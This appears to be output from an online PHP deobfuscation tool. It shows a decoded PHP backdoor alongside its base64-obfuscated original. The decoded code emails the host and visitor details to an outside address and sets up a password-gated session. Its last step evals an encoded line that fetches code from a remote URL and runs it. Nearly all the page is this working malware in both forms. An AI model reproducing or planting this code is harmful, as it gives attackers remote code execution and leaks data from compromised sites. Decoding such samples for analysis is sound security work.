Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

?>b'<?php eval("?>".base64_decode("PD9waHANCiRpcCA9IGdldGVudigiUkVNT1RFX0FERFIiKTsNCiRzdWJ..

Decoded Output download

?>b'<?php
$ip = getenv("REMOTE_ADDR");
$subj98 = "Deus Nos Videt";
$email = "[email protected]";
$from = "From: Lacin041";
$a45 = $_SERVER[\'REQUEST_URI\'];
$b75 = $_SERVER[\'HTTP_HOST\'];
$m22 = $ip . "";
$msg8873 = "$a45 $b75 $m22";
mail($email, $subj98, $msg8873, $from);
$password = "me"; // Password 
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST[\'pass\']) and $_REQUEST[\'pass\'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type=\'password\' name=\'pass\'><input type=\'submit\' value=\'>>\'></form></pre>";
        exit;        
    }
}

session_write_close();
eval("?>".base64_decode("PD89ZXZhbCgiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL2FyZWRveWEuY29tL3dwLWluY2x1ZGVzL1JlcXVlc3RzL3htbCIpKTs/Pg==")); ?>'

Did this file decode correctly?

Original Code

?>b'<?php eval("?>".base64_decode("PD9waHANCiRpcCA9IGdldGVudigiUkVNT1RFX0FERFIiKTsNCiRzdWJqOTggPSAiRGV1cyBOb3MgVmlkZXQiOw0KJGVtYWlsID0gImthcmltMDc2MDY4QHlhaG9vLmNvbSI7DQokZnJvbSA9ICJGcm9tOiBMYWNpbjA0MSI7DQokYTQ1ID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQokYjc1ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJG0yMiA9ICRpcCAuICIiOw0KJG1zZzg4NzMgPSAiJGE0NSAkYjc1ICRtMjIiOw0KbWFpbCgkZW1haWwsICRzdWJqOTgsICRtc2c4ODczLCAkZnJvbSk7DQokcGFzc3dvcmQgPSAibWUiOyAvLyBQYXNzd29yZCANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCnNldF90aW1lX2xpbWl0KDApOw0KaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7DQokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOw0KaWYoIWVtcHR5KCRwYXNzd29yZCkgYW5kICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdICE9ICRwYXNzd29yZCl7DQogICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsncGFzcyddKSBhbmQgJF9SRVFVRVNUWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7DQogICAgICAgIGV4aXQ7ICAgICAgICANCiAgICB9DQp9DQoNCnNlc3Npb25fd3JpdGVfY2xvc2UoKTsNCmV2YWwoIj8+Ii5iYXNlNjRfZGVjb2RlKCJQRDg5WlhaaGJDZ2lQejRpTG1acGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NKb2RIUndjem92TDJGeVpXUnZlV0V1WTI5dEwzZHdMV2x1WTJ4MVpHVnpMMUpsY1hWbGMzUnpMM2h0YkNJcEtUcy9QZz09IikpOyA/Pg=="));
?>'

Function Calls

base64_decode 1

Variables

None

Stats

MD5 398a3d2f3df8e5bc6b7e9d9625ab1cd4
Eval Count 1
Decode Time 48 ms